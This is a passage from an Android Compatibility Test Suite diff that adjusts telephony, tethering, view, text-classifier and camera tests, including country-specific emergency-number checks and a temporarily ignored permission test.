+ assertNotNull(resolveInfo.serviceInfo.name);
+ assertEquals(IN_CALL_SERVICE_PERMISSION, resolveInfo.serviceInfo.permission);
+ }
+
+ private boolean hasTelephonyFeature() {
+ return mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY);
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
index aeeb9b1..83aaa0b 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
@@ -51,6 +51,7 @@
import org.junit.After;
import org.junit.Before;
+import org.junit.Ignore;
import org.junit.Test;
import java.io.IOException;
@@ -145,6 +146,7 @@
}
@SecurityTest
+ @Ignore // TODO(b/146238285) -- Appop commands not working.
@Test
public void testRevokePermission() {
if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierServiceTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierServiceTest.java
index 02c6651..9cc5e7a 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CarrierServiceTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierServiceTest.java
@@ -27,8 +27,6 @@
import android.test.ServiceTestCase;
import android.util.Log;
-import org.junit.Test;
-
public class CarrierServiceTest extends ServiceTestCase<CarrierServiceTest.TestCarrierService> {
private static final String TAG = CarrierServiceTest.class.getSimpleName();
@@ -54,14 +52,12 @@
&& telephonyManager.getPhoneCount() > 0;
}
- @Test
public void testNotifyCarrierNetworkChange_true() {
if (!mHasCellular) return;
notifyCarrierNetworkChange(true);
}
- @Test
public void testNotifyCarrierNetworkChange_false() {
if (!mHasCellular) return;
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
index 1bddb8d..328fe82 100755
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsManagerTest.java
@@ -366,24 +366,6 @@
}
@Test
- public void testGetSmsMessagesForFinancialAppPermissionNotRequested() throws Exception {
- final CountDownLatch latch = new CountDownLatch(1);
-
- try {
- getSmsManager().getSmsMessagesForFinancialApp(new Bundle(),
- getInstrumentation().getContext().getMainExecutor(),
- new SmsManager.FinancialSmsCallback() {
- public void onFinancialSmsMessages(CursorWindow msgs) {
- assertNull(msgs);
- latch.countDown();
- }});
- assertTrue(latch.await(500, TimeUnit.MILLISECONDS));
- } catch (Exception e) {
- // do nothing
- }
- }
-
- @Test
public void testGetSmsMessagesForFinancialAppPermissionRequestedNotGranted() throws Exception {
CompletableFuture<Bundle> callbackResult = new CompletableFuture<>();
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsMessageTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsMessageTest.java
index 165c5cd..8c855db 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SmsMessageTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsMessageTest.java
@@ -103,6 +103,7 @@
assertEquals(MESSAGE_BODY1, sms.getMessageBody());
assertEquals(TPLAYER_LENGTH_FOR_PDU, SmsMessage.getTPLayerLengthForPDU(pdu));
int[] result = SmsMessage.calculateLength(sms.getMessageBody(), true);
+ assertEquals(6, result.length);
assertEquals(SMS_NUMBER1, result[0]);
assertEquals(sms.getMessageBody().length(), result[1]);
assertRemaining(sms.getMessageBody().length(), result[2], SmsMessage.MAX_USER_DATA_SEPTETS);
@@ -135,6 +136,7 @@
assertEquals(MESSAGE_BODY2, sms.getMessageBody());
CharSequence msgBody = sms.getMessageBody();
result = SmsMessage.calculateLength(msgBody, false);
+ assertEquals(6, result.length);
assertEquals(SMS_NUMBER2, result[0]);
assertEquals(sms.getMessageBody().length(), result[1]);
assertRemaining(sms.getMessageBody().length(), result[2], SmsMessage.MAX_USER_DATA_SEPTETS);
@@ -146,6 +148,7 @@
sms = SmsMessage.createFromPdu(hexStringToByteArray(pdu), SmsMessage.FORMAT_3GPP);
assertEquals(MESSAGE_BODY3, sms.getMessageBody());
result = SmsMessage.calculateLength(sms.getMessageBody(), true);
+ assertEquals(6, result.length);
assertEquals(SMS_NUMBER3, result[0]);
assertEquals(sms.getMessageBody().length(), result[1]);
assertRemaining(sms.getMessageBody().length(), result[2], SmsMessage.MAX_USER_DATA_SEPTETS);
@@ -317,6 +320,7 @@
}
int[] result = SmsMessage.calculateLength(LONG_TEXT_WITH_32BIT_CHARS, false);
+ assertEquals(6, result.length);
assertEquals(3, result[0]);
assertEquals(LONG_TEXT_WITH_32BIT_CHARS.length(), result[1]);
// 3 parts, each with (SmsMessage.MAX_USER_DATA_BYTES_WITH_HEADER / 2) 16-bit
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 052a21f..a7baf0a 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -87,6 +87,7 @@
import java.security.NoSuchAlgorithmException;
import java.util.ArrayList;
import java.util.Arrays;
+import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Locale;
@@ -1595,8 +1596,25 @@
assertEquals(0, cq.getCodecType());
}
+
+ // Reference: packages/services/Telephony/ecc/input/eccdata.txt
+ private static final Map<String, String> EMERGENCY_NUMBERS_FOR_COUNTRIES =
+ new HashMap<String, String>() {{
+ put("au", "000");
+ put("ca", "911");
+ put("de", "112");
+ put("gb", "999");
+ put("in", "112");
+ put("jp", "110");
+ put("sg", "999");
+ put("tw", "110");
+ put("us", "911");
+ }};
+
/**
* Tests TelephonyManager.getEmergencyNumberList.
+ *
+ * Also enforce country-specific emergency number in CTS.
*/
@Test
public void testGetEmergencyNumberList() {
@@ -1611,58 +1629,29 @@
checkEmergencyNumberFormat(emergencyNumberList);
int defaultSubId = mSubscriptionManager.getDefaultSubscriptionId();
-
- // 112 and 911 should always be available
- // Reference: 3gpp 22.101, Section 10 - Emergency Calls
- assertTrue(checkIfEmergencyNumberListHasSpecificAddress(
- emergencyNumberList.get(defaultSubId), "911"));
- assertTrue(checkIfEmergencyNumberListHasSpecificAddress(
- emergencyNumberList.get(defaultSubId), "112"));
-
- // 000, 08, 110, 118, 119, and 999 should be always available when sim is absent
- // Reference: 3gpp 22.101, Section 10 - Emergency Calls
- if (mTelephonyManager.getPhoneCount() > 0
- && mSubscriptionManager.getSimStateForSlotIndex(0)
- == TelephonyManager.SIM_STATE_ABSENT) {
- assertTrue(checkIfEmergencyNumberListHasSpecificAddress(
- emergencyNumberList.get(defaultSubId), "000"));
- assertTrue(checkIfEmergencyNumberListHasSpecificAddress(
- emergencyNumberList.get(defaultSubId), "08"));
- assertTrue(checkIfEmergencyNumberListHasSpecificAddress(
- emergencyNumberList.get(defaultSubId), "110"));
- assertTrue(checkIfEmergencyNumberListHasSpecificAddress(
- emergencyNumberList.get(defaultSubId), "118"));
- assertTrue(checkIfEmergencyNumberListHasSpecificAddress(
- emergencyNumberList.get(defaultSubId), "119"));
- assertTrue(checkIfEmergencyNumberListHasSpecificAddress(
- emergencyNumberList.get(defaultSubId), "999"));
+ for (Map.Entry<String, String> entry : EMERGENCY_NUMBERS_FOR_COUNTRIES.entrySet()) {
+ if (mTelephonyManager.getNetworkCountryIso().equals(entry.getKey())) {
+ assertTrue(checkIfEmergencyNumberListHasSpecificAddress(
+ emergencyNumberList.get(defaultSubId), entry.getValue()));
+ }
}
}
/**
* Tests TelephonyManager.isEmergencyNumber.
+ *
+ * Also enforce country-specific emergency number in CTS.
*/
@Test
public void testIsEmergencyNumber() {
if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
return;
}
- // 112 and 911 should always be available
- // Reference: 3gpp 22.101, Section 10 - Emergency Calls
- assertTrue(mTelephonyManager.isEmergencyNumber("911"));
- assertTrue(mTelephonyManager.isEmergencyNumber("112"));
- // 000, 08, 110, 118, 119, and 999 should be always available when sim is absent
- // Reference: 3gpp 22.101, Section 10 - Emergency Calls
- if (mTelephonyManager.getPhoneCount() > 0
- && mSubscriptionManager.getSimStateForSlotIndex(0)
- == TelephonyManager.SIM_STATE_ABSENT) {
- assertTrue(mTelephonyManager.isEmergencyNumber("000"));
- assertTrue(mTelephonyManager.isEmergencyNumber("08"));
- assertTrue(mTelephonyManager.isEmergencyNumber("110"));
- assertTrue(mTelephonyManager.isEmergencyNumber("118"));
- assertTrue(mTelephonyManager.isEmergencyNumber("119"));
- assertTrue(mTelephonyManager.isEmergencyNumber("999"));
+ for (Map.Entry<String, String> entry : EMERGENCY_NUMBERS_FOR_COUNTRIES.entrySet()) {
+ if (mTelephonyManager.getNetworkCountryIso().equals(entry.getKey())) {
+ assertTrue(mTelephonyManager.isEmergencyNumber(entry.getValue()));
+ }
}
}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyPermissionPolicyTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyPermissionPolicyTest.java
index caf9b4c..37228c8 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyPermissionPolicyTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyPermissionPolicyTest.java
@@ -34,6 +34,8 @@
KNOWN_TELEPHONY_PACKAGES.add("com.android.providers.telephony");
KNOWN_TELEPHONY_PACKAGES.add("com.android.ons");
KNOWN_TELEPHONY_PACKAGES.add("com.android.cellbroadcastservice");
+ KNOWN_TELEPHONY_PACKAGES.add("com.android.cellbroadcastreceiver");
+ KNOWN_TELEPHONY_PACKAGES.add("com.android.shell");
}
@Test
diff --git a/tests/tests/tethering/src/android/tethering/cts/TetheringManagerTest.java b/tests/tests/tethering/src/android/tethering/cts/TetheringManagerTest.java
index 9efb8f3..043d04f 100644
--- a/tests/tests/tethering/src/android/tethering/cts/TetheringManagerTest.java
+++ b/tests/tests/tethering/src/android/tethering/cts/TetheringManagerTest.java
@@ -33,6 +33,7 @@
import org.junit.runner.RunWith;
import java.util.ArrayList;
+import java.util.Arrays;
import java.util.Iterator;
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
@@ -163,13 +164,13 @@
if (state == null || state.mErrored == null) return;
if (state.mErrored.size() > 0) {
- fail("Found failed tethering interfaces: " + state.mErrored.toArray());
+ fail("Found failed tethering interfaces: " + Arrays.toString(state.mErrored.toArray()));
}
}
private void assertNoActiveIfaces(final TetherState state) {
if (state.mActive != null && state.mActive.size() > 0) {
- fail("Found active tethering interface: " + state.mActive.toArray());
+ fail("Found active tethering interface: " + Arrays.toString(state.mActive.toArray()));
}
}
}
diff --git a/tests/tests/theme/AndroidTest.xml b/tests/tests/theme/AndroidTest.xml
index fa00709..426f366 100644
--- a/tests/tests/theme/AndroidTest.xml
+++ b/tests/tests/theme/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="uitoolkit" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsThemeDeviceTestCases.apk" />
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index d6d21a2..267bd3e 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -5057,6 +5057,24 @@
assertTrue(mMockParent.hasRequestLayout());
}
+ @UiThreadTest
+ @Test
+ public void testIsShowingLayoutBounds() {
+ final View view = new View(mContext);
+
+ // detached view should not have debug enabled
+ assertFalse(view.isShowingLayoutBounds());
+
+ mActivity.setContentView(view);
+ view.setShowingLayoutBounds(true);
+
+ assertTrue(view.isShowingLayoutBounds());
+ mActivity.setContentView(new View(mContext));
+
+ // now that it is detached, it should be false.
+ assertFalse(view.isShowingLayoutBounds());
+ }
+
private static class MockDrawable extends Drawable {
private boolean mCalledSetTint = false;
diff --git a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
index afc9d6c..0e11e52 100644
--- a/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
+++ b/tests/tests/view/src/android/view/textclassifier/cts/TextClassificationManagerTest.java
@@ -43,6 +43,8 @@
import androidx.test.filters.SmallTest;
import androidx.test.runner.AndroidJUnit4;
+import com.google.common.collect.Range;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
@@ -299,8 +301,7 @@
for (ConversationAction conversationAction : conversationActionsList) {
assertThat(conversationAction.getAction()).isNotNull();
assertThat(conversationAction.getType()).isNotNull();
- assertThat(conversationAction.getConfidenceScore()).isGreaterThan(0f);
- assertThat(conversationAction.getConfidenceScore()).isLessThan(1.0f);
+ assertThat(conversationAction.getConfidenceScore()).isIn(Range.closed(0f, 1.0f));
}
}
}
diff --git a/tests/tests/view/src/android/view/textclassifier/cts/TextClassifierValueObjectsTest.java b/tests/tests/view/src/android/view/textclassifier/cts/TextClassifierValueObjectsTest.java
index f0022cd..5479444 100644
--- a/tests/tests/view/src/android/view/textclassifier/cts/TextClassifierValueObjectsTest.java
+++ b/tests/tests/view/src/android/view/textclassifier/cts/TextClassifierValueObjectsTest.java
@@ -333,6 +333,7 @@
public void testTextLinks_defaultValues() {
final TextLinks textLinks = new TextLinks.Builder(TEXT).build();
+ assertEquals(TEXT, textLinks.getText());
assertTrue(textLinks.getExtras().isEmpty());
assertTrue(textLinks.getLinks().isEmpty());
}
@@ -344,6 +345,7 @@
.addLink(START, END, Collections.singletonMap(TextClassifier.TYPE_ADDRESS, 1.0f))
.build();
+ assertEquals(TEXT, textLinks.getText());
assertEquals(BUNDLE_VALUE, textLinks.getExtras().getString(BUNDLE_KEY));
assertEquals(1, textLinks.getLinks().size());
TextLinks.TextLink textLink = textLinks.getLinks().iterator().next();
diff --git a/tests/tests/voiceinteraction/AndroidTest.xml b/tests/tests/voiceinteraction/AndroidTest.xml
index bbf478d..68501e2 100644
--- a/tests/tests/voiceinteraction/AndroidTest.xml
+++ b/tests/tests/voiceinteraction/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="not-shardable" value="true" />
<!-- Force service to be installed as non-instant mode, always -->
diff --git a/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java b/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
index 96675c3..1ca3cfa 100644
--- a/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
+++ b/tools/cts-device-info/src/com/android/cts/deviceinfo/CameraDeviceInfo.java
@@ -464,6 +464,7 @@
charsKeyNames.add(CameraCharacteristics.CONTROL_AVAILABLE_MODES.getName());
charsKeyNames.add(CameraCharacteristics.CONTROL_POST_RAW_SENSITIVITY_BOOST_RANGE.getName());
charsKeyNames.add(CameraCharacteristics.CONTROL_AVAILABLE_BOKEH_CAPABILITIES.getName());
+ charsKeyNames.add(CameraCharacteristics.CONTROL_ZOOM_RATIO_RANGE.getName());
charsKeyNames.add(CameraCharacteristics.EDGE_AVAILABLE_EDGE_MODES.getName());
charsKeyNames.add(CameraCharacteristics.FLASH_INFO_AVAILABLE.getName());
charsKeyNames.add(CameraCharacteristics.HOT_PIXEL_AVAILABLE_HOT_PIXEL_MODES.getName());